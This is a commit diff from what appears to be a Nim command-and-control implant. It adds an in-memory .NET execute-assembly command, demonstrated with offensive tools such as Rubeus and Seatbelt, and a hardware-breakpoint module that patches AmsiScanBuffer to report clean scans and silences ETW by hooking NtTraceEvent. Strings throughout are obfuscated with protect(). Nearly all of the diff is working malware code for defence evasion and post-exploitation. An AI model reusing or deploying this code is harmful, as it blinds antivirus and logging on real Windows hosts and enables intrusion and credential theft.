Implemented 'dotnet' command for execute-assembly functionality. Patched AMSI using HWBP
This commit is contained in:
@@ -31,7 +31,7 @@ Execution Commands
|
|||||||
- Read from listener endpoint directly to memory
|
- Read from listener endpoint directly to memory
|
||||||
- Base for all kinds of BOFs (Situational Awareness, ...)
|
- Base for all kinds of BOFs (Situational Awareness, ...)
|
||||||
- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
|
- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
|
||||||
- [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
|
- [x] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
|
||||||
|
|
||||||
Post-Exploitation
|
Post-Exploitation
|
||||||
-----------------
|
-----------------
|
||||||
|
|||||||
@@ -1,20 +1,60 @@
|
|||||||
import winim/[lean, clr]
|
import winim/[lean, clr]
|
||||||
import os, strformat, strutils, sequtils
|
import os, strformat, strutils, sequtils
|
||||||
|
import ./hwbp
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Executing .NET assemblies in memory
|
Executing .NET assemblies in memory
|
||||||
References:
|
References:
|
||||||
- https://maldevacademy.com/new/modules/60?view=blocks
|
- https://maldevacademy.com/new/modules/60?view=blocks
|
||||||
|
- https://maldevacademy.com/new/modules/61?view=blocks
|
||||||
- https://github.com/chvancooten/NimPlant/blob/main/client/commands/risky/executeAssembly.nim
|
- https://github.com/chvancooten/NimPlant/blob/main/client/commands/risky/executeAssembly.nim
|
||||||
- https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/clr.nim
|
- https://github.com/S3cur3Th1sSh1t/Creds/blob/master/nim/encrypted_assembly_loader.nim
|
||||||
|
- https://github.com/hdbreaker/Nimhawk/blob/main/implant/modules/risky/executeAssembly.nim
|
||||||
]#
|
]#
|
||||||
|
|
||||||
import sugar
|
#[
|
||||||
|
Patching functions
|
||||||
|
]#
|
||||||
|
proc amsiPatch(pThreadCtx: PCONTEXT) =
|
||||||
|
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
|
||||||
|
SETPARAM_6(pThreadCtx, cast[PULONG](0))
|
||||||
|
echo protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
|
||||||
|
CONTINUE_EXECUTION(pThreadCtx)
|
||||||
|
|
||||||
proc dotnetInlineExecuteGetOutput(assemblyBytes: seq[byte], arguments: seq[string] = @[]): string =
|
proc etwPatch(pThreadCtx: PCONTEXT) =
|
||||||
|
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
|
||||||
|
pThreadCtx.Rsp += sizeof(PVOID)
|
||||||
|
pThreadCtx.Rax = STATUS_SUCCESS
|
||||||
|
echo protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
|
||||||
|
CONTINUE_EXECUTION(pThreadCtx)
|
||||||
|
|
||||||
# The winim/clr library takes care of most of the heavy lifting for us here
|
#[
|
||||||
|
Dotnet execute-assembly
|
||||||
|
Arguments:
|
||||||
|
- assemblyBytes: Serialized .NET assembly
|
||||||
|
- arguments: seq[string] of arguments that should be passed to the function
|
||||||
|
Returns: CLR Version and assembly output
|
||||||
|
]#
|
||||||
|
proc dotnetInlineExecuteGetOutput*(assemblyBytes: seq[byte], arguments: seq[string] = @[]): tuple[assembly, output: string] =
|
||||||
|
|
||||||
|
# Patching AMSI and ETW via Hardware Breakpoints
|
||||||
|
# Code from: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim
|
||||||
|
if not initializeHardwareBPVariables():
|
||||||
|
raise newException(CatchableError, protect("Failed to initialize Hardware Breakpoints."))
|
||||||
|
defer: uninitializeHardwareBPVariables()
|
||||||
|
|
||||||
|
let amsiScanBuffer = GetProcAddress(LoadLibraryA(protect("amsi.dll")), protect("AmsiScanBuffer"))
|
||||||
|
if not setHardwareBreakpoint(amsiScanBuffer, amsiPatch, Dr0):
|
||||||
|
raise newException(CatchableError, protect("Failed to install Hardware Breakpoint [AmsiScanBuffer]."))
|
||||||
|
defer: discard removeHardwareBreakpoint(Dr0)
|
||||||
|
|
||||||
|
let ntTraceEvent = GetProcAddress(LoadLibraryA(protect("ntdll.dll")), protect("NtTraceEvent"))
|
||||||
|
if not setHardwareBreakpoint(ntTraceEvent, etwPatch, Dr1):
|
||||||
|
raise newException(CatchableError, protect("Failed to install Hardware Breakpoint [NtTraceEvent]."))
|
||||||
|
defer: discard removeHardwareBreakpoint(Dr1)
|
||||||
|
|
||||||
|
# For the actual assembly execution, the winim/[clr] library takes care of most of the heavy lifting for us here
|
||||||
# - https://github.com/khchen/winim/blob/master/winim/clr.nim
|
# - https://github.com/khchen/winim/blob/master/winim/clr.nim
|
||||||
var assembly = load(assemblyBytes)
|
var assembly = load(assemblyBytes)
|
||||||
|
|
||||||
@@ -38,12 +78,4 @@ proc dotnetInlineExecuteGetOutput(assemblyBytes: seq[byte], arguments: seq[strin
|
|||||||
# Reset console properties
|
# Reset console properties
|
||||||
@Console.SetOut(oldConsole)
|
@Console.SetOut(oldConsole)
|
||||||
|
|
||||||
return fromCLRVariant[string](stringWriter.ToString())
|
return (assembly, fromCLRVariant[string](stringWriter.ToString()))
|
||||||
|
|
||||||
proc test*() =
|
|
||||||
|
|
||||||
var bytes = string.toBytes(readFile("C:\\Tools\\precompiled-binaries\\Enumeration\\Seatbelt.exe"))
|
|
||||||
var args = @["antivirus"]
|
|
||||||
|
|
||||||
var result = dotnetInlineExecuteGetOutput(bytes, args)
|
|
||||||
echo result
|
|
||||||
221
src/agent/core/hwbp.nim
Normal file
221
src/agent/core/hwbp.nim
Normal file
@@ -0,0 +1,221 @@
|
|||||||
|
import winim/lean
|
||||||
|
|
||||||
|
# From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim
|
||||||
|
|
||||||
|
type
|
||||||
|
DRX* = enum
|
||||||
|
Dr0, Dr1, Dr2, Dr3
|
||||||
|
HookFuncType = proc(pContext:PCONTEXT){.stdcall.}
|
||||||
|
|
||||||
|
var
|
||||||
|
g_VectorHandler: PVOID # Vectored Exception Handler
|
||||||
|
g_DetourFuncs: array[4, PVOID] # Array of 4 Hook functions
|
||||||
|
g_CriticalSection: CRITICAL_SECTION
|
||||||
|
|
||||||
|
proc ucRet*() {.asmNoStackFrame.} =
|
||||||
|
## Ret used to terminate original function execution
|
||||||
|
asm """.byte 0xc3"""
|
||||||
|
|
||||||
|
proc BLOCK_REAL*(pThreadCtx: PCONTEXT) =
|
||||||
|
## Used in detour function to block execution of original hooked function
|
||||||
|
pThreadCtx.Rip = cast[int](ucRet)
|
||||||
|
|
||||||
|
proc setDr7Bits*(currentDr7Register, startingBitPosition, nmbrOfBitsToModify, newBitValue: int): int =
|
||||||
|
## Enable or disable an installed breakpoint
|
||||||
|
var
|
||||||
|
mask: int = ((1 shl nmbrOfBitsToModify) - 1)
|
||||||
|
newDr7Register: int = (currentDr7Register and not (mask shl startingBitPosition)) or (newBitValue shl startingBitPosition)
|
||||||
|
return newDr7Register
|
||||||
|
|
||||||
|
proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool =
|
||||||
|
var threadCtx: CONTEXT
|
||||||
|
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
||||||
|
|
||||||
|
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
|
echo "[!] GetThreadContext Failed: ", GetLastError()
|
||||||
|
return false
|
||||||
|
|
||||||
|
case drx:
|
||||||
|
of Dr0:
|
||||||
|
if (threadCtx.Dr0 == 0):
|
||||||
|
threadCtx.Dr0 = cast[int](pAddress)
|
||||||
|
of Dr1:
|
||||||
|
if (threadCtx.Dr1 == 0):
|
||||||
|
threadCtx.Dr1 = cast[int](pAddress)
|
||||||
|
of Dr2:
|
||||||
|
if (threadCtx.Dr2 == 0):
|
||||||
|
threadCtx.Dr2 = cast[int](pAddress)
|
||||||
|
of Dr3:
|
||||||
|
if (threadCtx.Dr3 == 0):
|
||||||
|
threadCtx.Dr3 = cast[int](pAddress)
|
||||||
|
|
||||||
|
# Save the hooked function at index 'drx' in global array
|
||||||
|
EnterCriticalSection(g_CriticalSection.addr)
|
||||||
|
g_DetourFuncs[cast[int](drx)] = fnHookFunc
|
||||||
|
LeaveCriticalSection(g_CriticalSection.addr)
|
||||||
|
|
||||||
|
# Enable the breakpoint
|
||||||
|
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
|
||||||
|
|
||||||
|
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
|
echo "[!] SetThreadContext Failed", GetLastError()
|
||||||
|
return false
|
||||||
|
|
||||||
|
return true
|
||||||
|
|
||||||
|
proc removeHardwareBreakpoint*(drx: DRX): bool =
|
||||||
|
var threadCtx: CONTEXT
|
||||||
|
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
||||||
|
|
||||||
|
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
|
echo "[!] GetThreadContext Failed: ", GetLastError()
|
||||||
|
return false
|
||||||
|
|
||||||
|
# Remove the address of the hooked function from the thread context
|
||||||
|
case drx:
|
||||||
|
of Dr0:
|
||||||
|
threadCtx.Dr0 = cast[int](0)
|
||||||
|
of Dr1:
|
||||||
|
threadCtx.Dr1 = cast[int](0)
|
||||||
|
of Dr2:
|
||||||
|
threadCtx.Dr2 = cast[int](0)
|
||||||
|
of Dr3:
|
||||||
|
threadCtx.Dr3 = cast[int](0)
|
||||||
|
|
||||||
|
# Disabling the breakpoint
|
||||||
|
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
|
||||||
|
|
||||||
|
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
|
echo "[!] SetThreadContext Failed", GetLastError()
|
||||||
|
return false
|
||||||
|
|
||||||
|
return true
|
||||||
|
|
||||||
|
proc vectorHandler*(pExceptionInfo: ptr EXCEPTION_POINTERS): int =
|
||||||
|
# If the exception is 'EXCEPTION_SINGLE_STEP' then its caused by a bp
|
||||||
|
if (pExceptionInfo.ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP):
|
||||||
|
if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr0) or
|
||||||
|
(cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr1) or
|
||||||
|
(cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr2) or
|
||||||
|
(cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr3):
|
||||||
|
var
|
||||||
|
dwDrx: DRX
|
||||||
|
fnHookFunc = cast[HookFuncType](0)
|
||||||
|
|
||||||
|
EnterCriticalSection(g_CriticalSection.addr)
|
||||||
|
|
||||||
|
if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr0):
|
||||||
|
dwDrx = Dr0
|
||||||
|
if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr1):
|
||||||
|
dwDrx = Dr1
|
||||||
|
if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr2):
|
||||||
|
dwDrx = Dr2
|
||||||
|
if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr3):
|
||||||
|
dwDrx = Dr3
|
||||||
|
|
||||||
|
discard removeHardwareBreakpoint(dwDrx)
|
||||||
|
|
||||||
|
# Execute the callback (detour function)
|
||||||
|
fnHookFunc = cast[HookFuncType](g_DetourFuncs[cast[int](dwDrx)])
|
||||||
|
fnHookFunc(pExceptionInfo.ContextRecord)
|
||||||
|
|
||||||
|
discard setHardwareBreakpoint(pExceptionInfo.ExceptionRecord.ExceptionAddress, g_DetourFuncs[cast[int](dwDrx)], dwDrx)
|
||||||
|
|
||||||
|
LeaveCriticalSection(g_CriticalSection.addr)
|
||||||
|
|
||||||
|
return EXCEPTION_CONTINUE_EXECUTION
|
||||||
|
# The exception is not handled
|
||||||
|
return EXCEPTION_CONTINUE_SEARCH
|
||||||
|
|
||||||
|
#[ Function argument handling ]#
|
||||||
|
proc getFunctionArgument*(pThreadCtx: PCONTEXT, dwParamIdx: int): pointer =
|
||||||
|
# amd64
|
||||||
|
case dwParamIdx:
|
||||||
|
of 1:
|
||||||
|
return cast[PULONG](pThreadCtx.Rcx)
|
||||||
|
of 2:
|
||||||
|
return cast[PULONG](pThreadCtx.Rdx)
|
||||||
|
of 3:
|
||||||
|
return cast[PULONG](pThreadCtx.R8)
|
||||||
|
of 4:
|
||||||
|
return cast[PULONG](pThreadCtx.R9)
|
||||||
|
else:
|
||||||
|
# else more arguments are pushed to the stack
|
||||||
|
return cast[PULONG](pThreadCtx.Rsp + (dwParamIdx * sizeof(PVOID)))
|
||||||
|
|
||||||
|
proc setFunctionArgument*(pThreadCtx: PCONTEXT, uValue: PULONG, dwParamIdx: int) =
|
||||||
|
# amd64
|
||||||
|
case dwParamIdx:
|
||||||
|
of 1:
|
||||||
|
pThreadCtx.Rcx = cast[int](uValue)
|
||||||
|
of 2:
|
||||||
|
pThreadCtx.Rdx = cast[int](uValue)
|
||||||
|
of 3:
|
||||||
|
pThreadCtx.R8 = cast[int](uValue)
|
||||||
|
of 4:
|
||||||
|
pThreadCtx.R9 = cast[int](uValue)
|
||||||
|
else:
|
||||||
|
# else more arguments are pushed to the stack
|
||||||
|
cast[ptr int](pThreadCtx.Rsp + (dwParamIdx * sizeof(PVOID)))[] = cast[int](uValue)
|
||||||
|
|
||||||
|
# getFunctionArgument macros
|
||||||
|
template GETPARAM_1*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 1)
|
||||||
|
template GETPARAM_2*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 2)
|
||||||
|
template GETPARAM_3*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 3)
|
||||||
|
template GETPARAM_4*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 4)
|
||||||
|
template GETPARAM_5*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 5)
|
||||||
|
template GETPARAM_6*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 6)
|
||||||
|
template GETPARAM_7*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 7)
|
||||||
|
template GETPARAM_8*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 8)
|
||||||
|
template GETPARAM_9*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 9)
|
||||||
|
template GETPARAM_a*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, a)
|
||||||
|
template GETPARAM_b*(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, b)
|
||||||
|
|
||||||
|
# setFunctionArgument macros
|
||||||
|
template SETPARAM_1*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 1)
|
||||||
|
template SETPARAM_2*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 2)
|
||||||
|
template SETPARAM_3*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 3)
|
||||||
|
template SETPARAM_4*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 4)
|
||||||
|
template SETPARAM_5*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 5)
|
||||||
|
template SETPARAM_6*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 6)
|
||||||
|
template SETPARAM_7*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 7)
|
||||||
|
template SETPARAM_8*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 8)
|
||||||
|
template SETPARAM_9*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 9)
|
||||||
|
template SETPARAM_a*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, a)
|
||||||
|
template SETPARAM_b*(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, b)
|
||||||
|
|
||||||
|
#[ init/uninit HW BP]#
|
||||||
|
proc initializeHardwareBPVariables*(): bool =
|
||||||
|
# If 'g_CriticalSection' is not yet initialized
|
||||||
|
if g_CriticalSection.DebugInfo == NULL:
|
||||||
|
InitializeCriticalSection(g_CriticalSection.addr)
|
||||||
|
|
||||||
|
# If 'g_VectorHandler' is not yet initialized
|
||||||
|
if (cast[int](g_VectorHandler) == 0):
|
||||||
|
# Add 'VectorHandler' as the VEH
|
||||||
|
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
|
||||||
|
if cast[int](g_VectorHandler) == 0:
|
||||||
|
echo "[!] AddVectoredExceptionHandler Failed"
|
||||||
|
return false
|
||||||
|
|
||||||
|
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:
|
||||||
|
return true
|
||||||
|
|
||||||
|
proc uninitializeHardwareBPVariables*() =
|
||||||
|
# Remove breakpoints
|
||||||
|
for i in 0 ..< 4:
|
||||||
|
discard removeHardwareBreakpoint(cast[DRX](i))
|
||||||
|
# If the critical section is initialized, delete it
|
||||||
|
if (cast[int](g_CriticalSection.DebugInfo) != 0):
|
||||||
|
DeleteCriticalSection(g_CriticalSection.addr)
|
||||||
|
# If VEH if registered, remove it
|
||||||
|
if (cast[int](g_VectorHandler) != 0):
|
||||||
|
RemoveVectoredExceptionHandler(g_VectorHandler)
|
||||||
|
|
||||||
|
# Cleanup the global variables
|
||||||
|
zeroMem(g_CriticalSection.addr, sizeof(g_CriticalSection))
|
||||||
|
zeroMem(g_DetourFuncs.addr, sizeof(g_DetourFuncs))
|
||||||
|
g_VectorHandler = cast[PVOID](0)
|
||||||
|
|
||||||
|
template CONTINUE_EXECUTION*(ctx: PCONTEXT) = (ctx.EFlags = (ctx.EFlags or (1 shl 16)))
|
||||||
|
|
||||||
@@ -68,11 +68,5 @@ proc main() =
|
|||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] ", err.msg
|
echo "[-] ", err.msg
|
||||||
|
|
||||||
|
|
||||||
import core/clr
|
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
|
|
||||||
test()
|
|
||||||
quit(0)
|
|
||||||
|
|
||||||
main()
|
main()
|
||||||
@@ -96,5 +96,5 @@ DockSpace ID=0x85940918 Window=0x260A4489 Pos=10,43 Size=1888,946 Split=Y
|
|||||||
DockNode ID=0x00000001 Parent=0x85940918 SizeRef=1024,421 Split=X
|
DockNode ID=0x00000001 Parent=0x85940918 SizeRef=1024,421 Split=X
|
||||||
DockNode ID=0x00000003 Parent=0x00000001 SizeRef=613,159 CentralNode=1 Selected=0x61E02D75
|
DockNode ID=0x00000003 Parent=0x00000001 SizeRef=613,159 CentralNode=1 Selected=0x61E02D75
|
||||||
DockNode ID=0x00000004 Parent=0x00000001 SizeRef=409,159 Selected=0x5E5F7166
|
DockNode ID=0x00000004 Parent=0x00000001 SizeRef=409,159 Selected=0x5E5F7166
|
||||||
DockNode ID=0x00000002 Parent=0x85940918 SizeRef=1024,523 Selected=0x1BCA3180
|
DockNode ID=0x00000002 Parent=0x85940918 SizeRef=1024,523 Selected=0x8D780333
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import macros, system, hashes
|
import system
|
||||||
import nimcrypto
|
import nimcrypto
|
||||||
|
|
||||||
import ./[types, utils]
|
import ./[types, utils]
|
||||||
|
|||||||
@@ -48,6 +48,7 @@ type
|
|||||||
CMD_DOWNLOAD = 13'u16
|
CMD_DOWNLOAD = 13'u16
|
||||||
CMD_UPLOAD = 14'u16
|
CMD_UPLOAD = 14'u16
|
||||||
CMD_SCREENSHOT = 15'u16
|
CMD_SCREENSHOT = 15'u16
|
||||||
|
CMD_DOTNET = 16'u16
|
||||||
|
|
||||||
StatusType* = enum
|
StatusType* = enum
|
||||||
STATUS_COMPLETED = 0'u8
|
STATUS_COMPLETED = 0'u8
|
||||||
|
|||||||
63
src/modules/dotnet.nim
Normal file
63
src/modules/dotnet.nim
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
import ../common/[types, utils]
|
||||||
|
|
||||||
|
# Define function prototype
|
||||||
|
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
|
# Command definition (as seq[Command])
|
||||||
|
let commands*: seq[Command] = @[
|
||||||
|
Command(
|
||||||
|
name: protect("dotnet"),
|
||||||
|
commandType: CMD_DOTNET,
|
||||||
|
description: protect("Execute a .NET assembly in memory and retrieve the output."),
|
||||||
|
example: protect("dotnet /path/to/Seatbelt.exe antivirus"),
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: protect("path"), description: protect("Path to the .NET assembly file to execute."), argumentType: BINARY, isRequired: true),
|
||||||
|
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the assembly. Arguments are handled as STRING"), argumentType: STRING, isRequired: false)
|
||||||
|
],
|
||||||
|
execute: executeAssembly
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
# Implement execution functions
|
||||||
|
when defined(server):
|
||||||
|
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
|
||||||
|
when defined(agent):
|
||||||
|
|
||||||
|
import strutils, strformat
|
||||||
|
import ../agent/core/clr
|
||||||
|
import ../agent/protocol/result
|
||||||
|
import ../common/[utils, serialize]
|
||||||
|
|
||||||
|
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
try:
|
||||||
|
var
|
||||||
|
assembly: seq[byte]
|
||||||
|
arguments: seq[string]
|
||||||
|
|
||||||
|
# Parse arguments
|
||||||
|
case int(task.argCount):
|
||||||
|
of 1: # Only the assembly has been passed as an argument
|
||||||
|
assembly = task.args[0].data
|
||||||
|
arguments = @[]
|
||||||
|
else: # Parameters were passed to the BOF execution
|
||||||
|
assembly = task.args[0].data
|
||||||
|
for arg in task.args[1..^1]:
|
||||||
|
arguments.add(Bytes.toString(arg.data))
|
||||||
|
|
||||||
|
# Unpacking assembly file, since it contains the file name too.
|
||||||
|
var unpacker = Unpacker.init(Bytes.toString(assembly))
|
||||||
|
let
|
||||||
|
fileName = unpacker.getDataWithLengthPrefix()
|
||||||
|
assemblyBytes = unpacker.getDataWithLengthPrefix()
|
||||||
|
|
||||||
|
echo fmt" [>] Executing .NET assembly {fileName}."
|
||||||
|
let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments)
|
||||||
|
|
||||||
|
if output != "":
|
||||||
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(assemblyInfo & "\n" & output))
|
||||||
|
else:
|
||||||
|
return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
@@ -52,10 +52,8 @@ when defined(agent):
|
|||||||
# Create result packet for file download
|
# Create result packet for file download
|
||||||
var packer = Packer.init()
|
var packer = Packer.init()
|
||||||
|
|
||||||
packer.add(uint32(filePath.len()))
|
packer.addDataWithLengthPrefix(string.toBytes(filePath))
|
||||||
packer.addData(string.toBytes(filePath))
|
packer.addDataWithLengthPrefix(string.toBytes(fileBytes))
|
||||||
packer.add(uint32(fileBytes.len()))
|
|
||||||
packer.addData(string.toBytes(fileBytes))
|
|
||||||
|
|
||||||
let result = packer.pack()
|
let result = packer.pack()
|
||||||
|
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import
|
|||||||
filetransfer,
|
filetransfer,
|
||||||
environment,
|
environment,
|
||||||
bof,
|
bof,
|
||||||
|
dotnet,
|
||||||
screenshot
|
screenshot
|
||||||
|
|
||||||
type
|
type
|
||||||
@@ -31,6 +32,7 @@ proc loadModules*() =
|
|||||||
registerCommands(filetransfer.commands)
|
registerCommands(filetransfer.commands)
|
||||||
registerCommands(environment.commands)
|
registerCommands(environment.commands)
|
||||||
registerCommands(bof.commands)
|
registerCommands(bof.commands)
|
||||||
|
registerCommands(dotnet.commands)
|
||||||
registerCommands(screenshot.commands)
|
registerCommands(screenshot.commands)
|
||||||
|
|
||||||
proc getCommandByType*(cmdType: CommandType): Command =
|
proc getCommandByType*(cmdType: CommandType): Command =
|
||||||
|
|||||||
Reference in New Issue
Block a user